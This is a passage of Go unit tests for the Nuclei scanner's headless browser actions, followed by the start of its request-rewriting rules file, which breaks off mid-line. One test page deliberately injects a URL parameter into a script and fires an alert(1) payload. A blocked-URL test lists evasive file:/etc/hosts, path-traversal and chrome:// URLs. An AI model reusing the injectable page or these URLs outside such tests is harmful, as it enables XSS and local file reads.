el.MustAttribute(\"a\")\n\t\trequire.Equal(t, \"ok\", *val, \"could not click button\")\n\t})\n}\n\nfunc TestActionRightClick(t *testing.T) {\n\tresponse := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Nuclei Test Page</title>\n\t\t\t</head>\n\t\t\t<body>Nuclei Test Page</body>\n\t\t\t<button id=\"test\" onrightclick=''>click me</button>\n\t\t\t<script>\n\t\t\t\telm = document.getElementById(\"test\");\n\t\t\t\telm.onmousedown = function(event) {\n\t\t\t\t\tif (event.which == 3) {\n\t\t\t\t\t\telm.setAttribute(\"a\", \"ok\")\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t</script>\n\t\t</html>`\n\n\tactions := []*Action{\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionWaitLoad}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionRightClick}, Data: map[string]string{\"selector\": \"button\"}}, // Use css selector for clicking\n\t}\n\n\ttestHeadlessSimpleResponse(t, response, actions, 20*time.Second, func(page *Page, err error, out ActionData) {\n\t\trequire.Nil(t, err, \"could not run page actions\")\n\t\trequire.Equal(t, \"Nuclei Test Page\", page.Page().MustInfo().Title, \"could not navigate correctly\")\n\t\tel := page.Page().MustElement(\"button\")\n\t\tval := el.MustAttribute(\"a\")\n\t\trequire.Equal(t, \"ok\", *val, \"could not click button\")\n\t})\n}\n\nfunc TestActionTextInput(t *testing.T) {\n\tresponse := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Nuclei Test Page</title>\n\t\t\t</head>\n\t\t\t<body>Nuclei Test Page</body>\n\t\t\t<input type=\"text\" onchange=\"this.setAttribute('event', 'input-change')\">\n\t\t</html>`\n\n\tactions := []*Action{\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionWaitLoad}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionTextInput}, Data: map[string]string{\"selector\": \"input\", \"value\": \"test\"}},\n\t}\n\n\ttestHeadlessSimpleResponse(t, response, actions, 20*time.Second, func(page *Page, err error, out ActionData) {\n\t\trequire.Nil(t, err, \"could not run page actions\")\n\t\trequire.Equal(t, \"Nuclei Test Page\", page.Page().MustInfo().Title, \"could not navigate correctly\")\n\t\tel := page.Page().MustElement(\"input\")\n\t\tval := el.MustAttribute(\"event\")\n\t\trequire.Equal(t, \"input-change\", *val, \"could not get input change\")\n\t\trequire.Equal(t, \"test\", el.MustText(), \"could not get input change value\")\n\t})\n}\n\nfunc TestActionHeadersChange(t *testing.T) {\n\tactions := []*Action{\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionSetHeader}, Data: map[string]string{\"part\": \"request\", \"key\": \"Test\", \"value\": \"Hello\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionWaitLoad}},\n\t}\n\n\thandler := func(w http.ResponseWriter, r *http.Request) {\n\t\tif r.Header.Get(\"Test\") == \"Hello\" {\n\t\t\t_, _ = fmt.Fprintln(w, `found`)\n\t\t}\n\t}\n\n\ttestHeadless(t, actions, 20*time.Second, handler, func(page *Page, err error, out ActionData) {\n\t\trequire.Nil(t, err, \"could not run page actions\")\n\t\trequire.Equal(t, \"found\", strings.ToLower(strings.TrimSpace(page.Page().MustElement(\"html\").MustText())), \"could not set header correctly\")\n\t})\n}\n\nfunc TestActionScreenshot(t *testing.T) {\n\tresponse := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Nuclei Test Page</title>\n\t\t\t</head>\n\t\t\t<body>Nuclei Test Page</body>\n\t\t</html>`\n\n\t// filePath where screenshot is saved\n\tfilePath := filepath.Join(os.TempDir(), \"test.png\")\n\tactions := []*Action{\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionWaitFMP}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionScreenshot}, Data: map[string]string{\"to\": filePath}},\n\t}\n\n\ttestHeadlessSimpleResponse(t, response, actions, 20*time.Second, func(page *Page, err error, out ActionData) {\n\t\trequire.Nil(t, err, \"could not run page actions\")\n\t\trequire.Equal(t, \"Nuclei Test Page\", page.Page().MustInfo().Title, \"could not navigate correctly\")\n\t\t_ = page.Page()\n\t\trequire.FileExists(t, filePath, \"could not find screenshot file %v\", filePath)\n\t\tif err := os.RemoveAll(filePath); err != nil {\n\t\t\tt.Logf(\"got error %v while deleting temp file\", err)\n\t\t}\n\t})\n}\n\nfunc TestActionScreenshotToDir(t *testing.T) {\n\tresponse := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Nuclei Test Page</title>\n\t\t\t</head>\n\t\t\t<body>Nuclei Test Page</body>\n\t\t</html>`\n\n\tfilePath := filepath.Join(os.TempDir(), \"screenshot-\"+strconv.Itoa(rand.Intn(1000)), \"test.png\")\n\n\tactions := []*Action{\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionWaitFMP}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionScreenshot}, Data: map[string]string{\"to\": filePath, \"mkdir\": \"true\"}},\n\t}\n\n\ttestHeadlessSimpleResponse(t, response, actions, 20*time.Second, func(page *Page, err error, out ActionData) {\n\t\trequire.Nil(t, err, \"could not run page actions\")\n\t\trequire.Equal(t, \"Nuclei Test Page\", page.Page().MustInfo().Title, \"could not navigate correctly\")\n\t\t_ = page.Page()\n\t\trequire.FileExists(t, filePath, \"could not find screenshot file %v\", filePath)\n\t\tif err := os.RemoveAll(filePath); err != nil {\n\t\t\tt.Logf(\"got error %v while deleting temp file\", err)\n\t\t}\n\t})\n}\n\nfunc TestActionTimeInput(t *testing.T) {\n\tresponse := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Nuclei Test Page</title>\n\t\t\t</head>\n\t\t\t<body>Nuclei Test Page</body>\n\t\t\t<input type=\"date\">\n\t\t</html>`\n\n\tactions := []*Action{\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionWaitLoad}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionTimeInput}, Data: map[string]string{\"selector\": \"input\", \"value\": \"2006-01-02T15:04:05Z\"}},\n\t}\n\n\ttestHeadlessSimpleResponse(t, response, actions, 20*time.Second, func(page *Page, err error, out ActionData) {\n\t\trequire.Nil(t, err, \"could not run page actions\")\n\t\trequire.Equal(t, \"Nuclei Test Page\", page.Page().MustInfo().Title, \"could not navigate correctly\")\n\t\tel := page.Page().MustElement(\"input\")\n\t\trequire.Equal(t, \"2006-01-02\", el.MustText(), \"could not get input time value\")\n\t})\n}\n\nfunc TestActionSelectInput(t *testing.T) {\n\tresponse := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Nuclei Test Page</title>\n\t\t\t</head>\n\t\t\t<body>\n\t\t\t\t<select name=\"test\" id=\"test\">\n\t\t\t\t  <option value=\"test1\">Test1</option>\n\t\t\t\t  <option value=\"test2\">Test2</option>\n\t\t\t\t</select>\n\t\t\t</body>\n\t\t</html>`\n\n\tactions := []*Action{\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionWaitLoad}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionSelectInput}, Data: map[string]string{\"by\": \"x\", \"xpath\": \"//select[@id='test']\", \"value\": \"Test2\", \"selected\": \"true\"}},\n\t}\n\n\ttestHeadlessSimpleResponse(t, response, actions, 20*time.Second, func(page *Page, err error, out ActionData) {\n\t\trequire.Nil(t, err, \"could not run page actions\")\n\t\tel := page.Page().MustElement(\"select\")\n\t\trequire.Equal(t, \"Test2\", el.MustText(), \"could not get input change value\")\n\t})\n}\n\nfunc TestActionFilesInput(t *testing.T) {\n\tresponse := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Nuclei Test Page</title>\n\t\t\t</head>\n\t\t\t<body>Nuclei Test Page</body>\n\t\t\t<input type=\"file\">\n\t\t</html>`\n\n\tactions := []*Action{\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionWaitLoad}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionFilesInput}, Data: map[string]string{\"selector\": \"input\", \"value\": \"test1.pdf\"}},\n\t}\n\n\ttestHeadlessSimpleResponse(t, response, actions, 20*time.Second, func(page *Page, err error, out ActionData) {\n\t\trequire.Nil(t, err, \"could not run page actions\")\n\t\trequire.Equal(t, \"Nuclei Test Page\", page.Page().MustInfo().Title, \"could not navigate correctly\")\n\t\tel := page.Page().MustElement(\"input\")\n\t\trequire.Equal(t, \"C:\\\\fakepath\\\\test1.pdf\", el.MustText(), \"could not get input file\")\n\t})\n}\n\n// Negative testcase for files input where it should fail\nfunc TestActionFilesInputNegative(t *testing.T) {\n\tresponse := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Nuclei Test Page</title>\n\t\t\t</head>\n\t\t\t<body>Nuclei Test Page</body>\n\t\t\t<input type=\"file\">\n\t\t</html>`\n\n\tactions := []*Action{\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionWaitLoad}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionFilesInput}, Data: map[string]string{\"selector\": \"input\", \"value\": \"test1.pdf\"}},\n\t}\n\tt.Setenv(\"LOCAL_FILE_ACCESS\", \"false\")\n\n\ttestHeadlessSimpleResponse(t, response, actions, 20*time.Second, func(page *Page, err error, out ActionData) {\n\t\trequire.ErrorContains(t, err, ErrLFAccessDenied.Error(), \"got file access when -lfa is false\")\n\t})\n}\n\nfunc TestActionWaitLoad(t *testing.T) {\n\tresponse := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Nuclei Test Page</title>\n\t\t\t</head>\n\t\t\t<button id=\"test\">Wait for me!</button>\n\t\t\t<script>\n\t\t\t\twindow.onload = () => document.querySelector('#test').style.color = 'red';\n\t\t\t</script>\n\t\t</html>`\n\n\tactions := []*Action{\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionWaitLoad}},\n\t}\n\n\ttestHeadlessSimpleResponse(t, response, actions, 20*time.Second, func(page *Page, err error, out ActionData) {\n\t\trequire.Nil(t, err, \"could not run page actions\")\n\t\tel := page.Page().MustElement(\"button\")\n\t\tstyle, attributeErr := el.Attribute(\"style\")\n\t\trequire.Nil(t, attributeErr)\n\t\trequire.Equal(t, \"color: red;\", *style, \"could not get color\")\n\t})\n}\n\nfunc TestActionGetResource(t *testing.T) {\n\tresponse := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Nuclei Test Page</title>\n\t\t\t</head>\n\t\t\t<body>\n\t\t\t\t<img id=\"test\" src=\"https://raw.githubusercontent.com/projectdiscovery/wallpapers/main/pd-floppy.jpg\">\n\t\t\t</body>\n\t\t</html>`\n\n\tactions := []*Action{\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionGetResource}, Data: map[string]string{\"by\": \"x\", \"xpath\": \"//img[@id='test']\"}, Name: \"src\"},\n\t}\n\n\ttestHeadlessSimpleResponse(t, response, actions, 20*time.Second, func(page *Page, err error, out ActionData) {\n\t\trequire.Nil(t, err, \"could not run page actions\")\n\n\t\tsrc, ok := out[\"src\"].(string)\n\t\trequire.True(t, ok, \"could not assert src to string\")\n\t\trequire.Equal(t, len(src), 121808, \"could not find resource\")\n\t})\n}\n\nfunc TestActionExtract(t *testing.T) {\n\tresponse := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Nuclei Test Page</title>\n\t\t\t</head>\n\t\t\t<button id=\"test\">Wait for me!</button>\n\t\t</html>`\n\n\tactions := []*Action{\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionExtract}, Data: map[string]string{\"by\": \"x\", \"xpath\": \"//button[@id='test']\"}, Name: \"extract\"},\n\t}\n\n\ttestHeadlessSimpleResponse(t, response, actions, 20*time.Second, func(page *Page, err error, out ActionData) {\n\t\trequire.Nil(t, err, \"could not run page actions\")\n\t\trequire.Equal(t, \"Wait for me!\", out[\"extract\"], \"could not extract text\")\n\t})\n}\n\nfunc TestActionSetMethod(t *testing.T) {\n\tresponse := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Nuclei Test Page</title>\n\t\t\t</head>\n\t\t</html>`\n\n\tactions := []*Action{\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionSetMethod}, Data: map[string]string{\"part\": \"x\", \"method\": \"SET\"}},\n\t}\n\n\ttestHeadlessSimpleResponse(t, response, actions, 20*time.Second, func(page *Page, err error, out ActionData) {\n\t\trequire.Nil(t, err, \"could not run page actions\")\n\t\trequire.Equal(t, \"SET\", page.rules[0].Args[\"method\"], \"could not find resource\")\n\t})\n}\n\nfunc TestActionAddHeader(t *testing.T) {\n\tactions := []*Action{\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionAddHeader}, Data: map[string]string{\"part\": \"request\", \"key\": \"Test\", \"value\": \"Hello\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionWaitLoad}},\n\t}\n\n\thandler := func(w http.ResponseWriter, r *http.Request) {\n\t\tif r.Header.Get(\"Test\") == \"Hello\" {\n\t\t\t_, _ = fmt.Fprintln(w, `found`)\n\t\t}\n\t}\n\n\ttestHeadless(t, actions, 20*time.Second, handler, func(page *Page, err error, out ActionData) {\n\t\trequire.Nil(t, err, \"could not run page actions\")\n\t\trequire.Equal(t, \"found\", strings.ToLower(strings.TrimSpace(page.Page().MustElement(\"html\").MustText())), \"could not set header correctly\")\n\t})\n}\n\nfunc TestActionDeleteHeader(t *testing.T) {\n\tactions := []*Action{\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionAddHeader}, Data: map[string]string{\"part\": \"request\", \"key\": \"Test1\", \"value\": \"Hello\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionAddHeader}, Data: map[string]string{\"part\": \"request\", \"key\": \"Test2\", \"value\": \"World\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionDeleteHeader}, Data: map[string]string{\"part\": \"request\", \"key\": \"Test2\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionWaitLoad}},\n\t}\n\n\thandler := func(w http.ResponseWriter, r *http.Request) {\n\t\tif r.Header.Get(\"Test1\") == \"Hello\" && r.Header.Get(\"Test2\") == \"\" {\n\t\t\t_, _ = fmt.Fprintln(w, `header deleted`)\n\t\t}\n\t}\n\n\ttestHeadless(t, actions, 20*time.Second, handler, func(page *Page, err error, out ActionData) {\n\t\trequire.Nil(t, err, \"could not run page actions\")\n\t\trequire.Equal(t, \"header deleted\", strings.ToLower(strings.TrimSpace(page.Page().MustElement(\"html\").MustText())), \"could not delete header correctly\")\n\t})\n}\n\nfunc TestActionSetBody(t *testing.T) {\n\tactions := []*Action{\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionSetBody}, Data: map[string]string{\"part\": \"request\", \"body\": \"hello\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionWaitLoad}},\n\t}\n\n\thandler := func(w http.ResponseWriter, r *http.Request) {\n\t\tbody, _ := io.ReadAll(r.Body)\n\t\t_, _ = fmt.Fprintln(w, string(body))\n\t}\n\n\ttestHeadless(t, actions, 20*time.Second, handler, func(page *Page, err error, out ActionData) {\n\t\trequire.Nil(t, err, \"could not run page actions\")\n\t\trequire.Equal(t, \"hello\", strings.ToLower(strings.TrimSpace(page.Page().MustElement(\"html\").MustText())), \"could not set header correctly\")\n\t})\n}\n\nfunc TestActionKeyboard(t *testing.T) {\n\tresponse := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Nuclei Test Page</title>\n\t\t\t</head>\n\t\t\t<body>\n\t\t\t\t<input type=\"text\" name=\"test\" id=\"test\">\n\t\t\t</body>\n\t\t</html>`\n\n\tactions := []*Action{\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionWaitLoad}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionClick}, Data: map[string]string{\"selector\": \"input\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionKeyboard}, Data: map[string]string{\"keys\": \"Test2\"}},\n\t}\n\n\ttestHeadlessSimpleResponse(t, response, actions, 20*time.Second, func(page *Page, err error, out ActionData) {\n\t\trequire.Nil(t, err, \"could not run page actions\")\n\t\tel := page.Page().MustElement(\"input\")\n\t\trequire.Equal(t, \"Test2\", el.MustText(), \"could not get input change value\")\n\t})\n}\n\nfunc TestActionSleep(t *testing.T) {\n\tresponse := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Nuclei Test Page</title>\n\t\t\t</head>\n\t\t\t<button style=\"display:none\" id=\"test\">Wait for me!</button>\n\t\t\t<script>\n\t\t\t\tsetTimeout(() => document.querySelector('#test').style.display = '', 1000);\n\t\t\t</script>\n\t\t</html>`\n\n\tactions := []*Action{\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionSleep}, Data: map[string]string{\"duration\": \"2\"}},\n\t}\n\n\ttestHeadlessSimpleResponse(t, response, actions, 20*time.Second, func(page *Page, err error, out ActionData) {\n\t\trequire.Nil(t, err, \"could not run page actions\")\n\t\trequire.True(t, page.Page().MustElement(\"button\").MustVisible(), \"could not get button\")\n\t})\n}\n\nfunc TestActionWaitVisible(t *testing.T) {\n\tresponse := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Nuclei Test Page</title>\n\t\t\t</head>\n\t\t\t<button style=\"display:none\" id=\"test\">Wait for me!</button>\n\t\t\t<script>\n\t\t\t\tsetTimeout(() => document.querySelector('#test').style.display = '', 1000);\n\t\t\t</script>\n\t\t</html>`\n\n\tactions := []*Action{\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionWaitVisible}, Data: map[string]string{\"by\": \"x\", \"xpath\": \"//button[@id='test']\"}},\n\t}\n\n\tt.Run(\"wait for an element being visible\", func(t *testing.T) {\n\t\ttestHeadlessSimpleResponse(t, response, actions, 2*time.Second, func(page *Page, err error, out ActionData) {\n\t\t\trequire.Nil(t, err, \"could not run page actions\")\n\n\t\t\tpage.Page().MustElement(\"button\").MustVisible()\n\t\t})\n\t})\n\n\tt.Run(\"timeout because of element not visible\", func(t *testing.T) {\n\t\t// increased timeout from time.Second/2 to time.Second due to random fails (probably due to overhead and system)\n\t\ttestHeadlessSimpleResponse(t, response, actions, time.Second, func(page *Page, err error, out ActionData) {\n\t\t\trequire.Error(t, err)\n\t\t\trequire.Contains(t, err.Error(), \"Element did not appear in the given amount of time\")\n\t\t})\n\t})\n}\n\nfunc TestActionWaitDialog(t *testing.T) {\n\tresponse := `<html>\n\t\t<head>\n\t\t\t<title>Nuclei Test Page</title>\n\t\t</head>\n\t\t<body>\n\t\t<script type=\"text/javascript\">\n\t\tconst urlParams = new URLSearchParams(window.location.search);\n\t\tconst scriptContent = urlParams.get('script');\n\t\tif (scriptContent) {\n\t\t  const scriptElement = document.createElement('script');\n\t\t  scriptElement.textContent = scriptContent;\n\n\t\t  document.body.appendChild(scriptElement);\n\t\t}\n\t\t</script>\n\t\t</body>\n\t</html>`\n\n\tt.Run(\"Triggered\", func(t *testing.T) {\n\t\tactions := []*Action{\n\t\t\t{\n\t\t\t\tActionType: ActionTypeHolder{ActionType: ActionNavigate},\n\t\t\t\tData:       map[string]string{\"url\": \"{{BaseURL}}/?script=alert%281%29\"},\n\t\t\t},\n\t\t\t{\n\t\t\t\tActionType: ActionTypeHolder{ActionType: ActionWaitDialog},\n\t\t\t\tName:       \"test\",\n\t\t\t},\n\t\t}\n\n\t\ttestHeadlessSimpleResponse(t, response, actions, 1*time.Second, func(page *Page, err error, out ActionData) {\n\t\t\trequire.Nil(t, err, \"could not run page actions\")\n\n\t\t\ttest, ok := out[\"test\"].(bool)\n\t\t\trequire.True(t, ok, \"could not assert test to bool\")\n\t\t\trequire.True(t, test, \"could not find test\")\n\t\t})\n\t})\n\n\tt.Run(\"Invalid\", func(t *testing.T) {\n\t\tactions := []*Action{\n\t\t\t{\n\t\t\t\tActionType: ActionTypeHolder{ActionType: ActionNavigate},\n\t\t\t\tData:       map[string]string{\"url\": \"{{BaseURL}}/?script=foo\"},\n\t\t\t},\n\t\t\t{\n\t\t\t\tActionType: ActionTypeHolder{ActionType: ActionWaitDialog},\n\t\t\t\tName:       \"test\",\n\t\t\t},\n\t\t}\n\n\t\ttestHeadlessSimpleResponse(t, response, actions, 1*time.Second, func(page *Page, err error, out ActionData) {\n\t\t\trequire.Nil(t, err, \"could not run page actions\")\n\n\t\t\t_, ok := out[\"test\"].(bool)\n\t\t\trequire.False(t, ok, \"output assertion is success\")\n\t\t})\n\t})\n}\n\nfunc testHeadlessSimpleResponse(t *testing.T, response string, actions []*Action, timeout time.Duration, assert func(page *Page, pageErr error, out ActionData)) {\n\tt.Helper()\n\ttestHeadless(t, actions, timeout, func(w http.ResponseWriter, r *http.Request) {\n\t\t_, _ = fmt.Fprintln(w, response)\n\t}, assert)\n}\n\nfunc testHeadless(t *testing.T, actions []*Action, timeout time.Duration, handler func(w http.ResponseWriter, r *http.Request), assert func(page *Page, pageErr error, extractedData ActionData)) {\n\tt.Helper()\n\n\tlfa := envutil.GetEnvOrDefault(\"LOCAL_FILE_ACCESS\", true)\n\trna := envutil.GetEnvOrDefault(\"RESTRICTED_LOCAL_NETWORK_ACCESS\", false)\n\n\topts := &types.Options{AllowLocalFileAccess: lfa, RestrictLocalNetworkAccess: rna}\n\n\t_ = protocolstate.Init(opts)\n\n\tbrowser, err := New(&types.Options{\n\t\tShowBrowser:        false,\n\t\tUseInstalledChrome: testheadless.HeadlessLocal,\n\t})\n\trequire.Nil(t, err, \"could not create browser\")\n\tdefer browser.Close()\n\n\tinstance, err := browser.NewInstance()\n\trequire.Nil(t, err, \"could not create browser instance\")\n\tdefer func() {\n\t\t_ = instance.Close()\n\t}()\n\n\tts := httptest.NewServer(http.HandlerFunc(handler))\n\tdefer ts.Close()\n\n\tinput := contextargs.NewWithInput(context.Background(), ts.URL)\n\tinput.CookieJar, err = cookiejar.New(nil)\n\trequire.Nil(t, err)\n\n\textractedData, page, err := instance.Run(input, actions, nil, &Options{Timeout: timeout, Options: opts}) // allow file access in test\n\tassert(page, err, extractedData)\n\n\tif page != nil {\n\t\tpage.Close()\n\t}\n}\n\nfunc TestContainsAnyModificationActionType(t *testing.T) {\n\tif containsAnyModificationActionType() {\n\t\tt.Error(\"Expected false, got true\")\n\t}\n\tif containsAnyModificationActionType(ActionClick) {\n\t\tt.Error(\"Expected false, got true\")\n\t}\n\tif !containsAnyModificationActionType(ActionSetMethod, ActionAddHeader, ActionExtract) {\n\t\tt.Error(\"Expected true, got false\")\n\t}\n\tif !containsAnyModificationActionType(ActionSetMethod, ActionAddHeader, ActionSetHeader, ActionDeleteHeader, ActionSetBody) {\n\t\tt.Error(\"Expected true, got false\")\n\t}\n}\n\nfunc TestBlockedHeadlessURLS(t *testing.T) {\n\n\t// run this test from binary since we are changing values\n\t// of global variables\n\tif os.Getenv(\"TEST_BLOCK_HEADLESS_URLS\") != \"1\" {\n\t\tcmd := exec.Command(os.Args[0], \"-test.run=TestBlockedHeadlessURLS\", \"-test.v\")\n\t\tcmd.Env = append(cmd.Env, \"TEST_BLOCK_HEADLESS_URLS=1\")\n\t\tout, err := cmd.CombinedOutput()\n\t\tif !strings.Contains(string(out), \"PASS\\n\") || err != nil {\n\t\t\tt.Fatalf(\"%s\\n(exit status %v)\", string(out), err)\n\t\t}\n\t\treturn\n\t}\n\n\topts := &types.Options{\n\t\tAllowLocalFileAccess:       false,\n\t\tRestrictLocalNetworkAccess: true,\n\t}\n\terr := protocolstate.Init(opts)\n\trequire.Nil(t, err, \"could not init protocol state\")\n\n\tbrowser, err := New(&types.Options{ShowBrowser: false, UseInstalledChrome: testheadless.HeadlessLocal})\n\trequire.Nil(t, err, \"could not create browser\")\n\tdefer browser.Close()\n\n\tinstance, err := browser.NewInstance()\n\trequire.Nil(t, err, \"could not create browser instance\")\n\tdefer func() {\n\t\t_ = instance.Close()\n\t}()\n\n\tts := httptest.NewServer(nil)\n\tdefer ts.Close()\n\n\ttestcases := []string{\n\t\t\"file:/etc/hosts\",\n\t\t\" file:///etc/hosts\\r\\n\",\n\t\t\"\tfILe:/../../../../etc/hosts\",\n\t\tts.URL, // local test server\n\t\t\"fTP://example.com:21\\r\\n\",\n\t\t\"ftp://example.com:21\",\n\t\t\"chrome://settings\",\n\t\t\"\tchRSome://version\",\n\t\t\"chrome-extension://version\\r\",\n\t\t\"\tchrSome-EXTension://settings\",\n\t\t\"view-source:file:/etc/hosts\",\n\t}\n\n\tfor _, testcase := range testcases {\n\t\tactions := []*Action{\n\t\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": testcase}},\n\t\t\t{ActionType: ActionTypeHolder{ActionType: ActionWaitLoad}},\n\t\t}\n\n\t\tdata, page, err := instance.Run(contextargs.NewWithInput(context.Background(), ts.URL), actions, nil, &Options{Timeout: 20 * time.Second, Options: opts}) // allow file access in test\n\t\trequire.Error(t, err, \"expected error for url %s got %v\", testcase, data)\n\t\trequire.True(t, stringsutil.ContainsAny(err.Error(), \"net::ERR_ACCESS_DENIED\", \"failed to parse url\", \"Cannot navigate to invalid URL\", \"net::ERR_ABORTED\", \"net::ERR_INVALID_URL\"), \"found different error %v for testcases %v\", err, testcase)\n\t\trequire.Len(t, data, 0, \"expected no data for url %s got %v\", testcase, data)\n\t\tif page != nil {\n\t\t\tpage.Close()\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/headless/engine/rules.go",
    "content": "package engine\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httputil\"\n\t\"strings\"\n\n\t\"github.com/go-rod/rod\"\n\t\"github.com/go-rod/rod/lib/proto\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\n// routingRuleHandler handles proxy rule for actions related to request/response modification\nfunc (p *Page) routingRuleHandler(httpClient *http.Client) func(ctx *rod.Hijack) {\n\treturn func(ctx *rod.Hijack) {\n\t\t// usually browsers don't use chunked transfer encoding, so we set the content-length nevertheless\n\t\tctx.Request.Req().ContentLength = int64(len(ctx.Request.Body()))\n\t\tfor _, rule := range p.rules {\n\t\t\tif rule.Part != \"request\" {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tswitch rule.Action {\n\t\t\tcase ActionSetMethod:\n\t\t\t\trule.Do(func() {\n\t\t\t\t\tctx.Request.Req().Method = rule.Args[\"method\"]\n\t\t\t\t})\n\t\t\tcase ActionAddHeader:\n\t\t\t\tctx.Request.Req().Header.Add(rule.Args[\"key\"], rule.Args[\"value\"])\n\t\t\tcase ActionSetHeader:\n\t\t\t\tctx.Request.Req().Header.Set(rule.Args[\"key\"], rule.Args[\"value\"])\n\t\t\tcase ActionDeleteHeader:\n\t\t\t\tctx.Request.Req().Header.Del(rule.Args[\"key\"])\n\t\t\tcase ActionSetBody:\n\t\t\t\tbody := rule.Args[\"body\"]\n\t\t\t\tctx.Request.Req().ContentLength = int64(len(body))\n\t\t\t\tctx.Request.SetBody(body)\n\t\t\t}\n\t\t}\n\n\t\t// each http request is performed via the native go http client\n\t\t// we first inject the shared cookies\n\t\tif !p.options.DisableCookie {\n\t\t\tif cookies := p.ctx.CookieJar.Cookies(ctx.Request.URL()); len(cookies) > 0 {\n\t\t\t\thttpClient.Jar.SetCookies(ctx.Request.URL(), cookies)\n\t\t\t}\n\t\t}\n\n\t\t// perform the request\n\t\t_ = 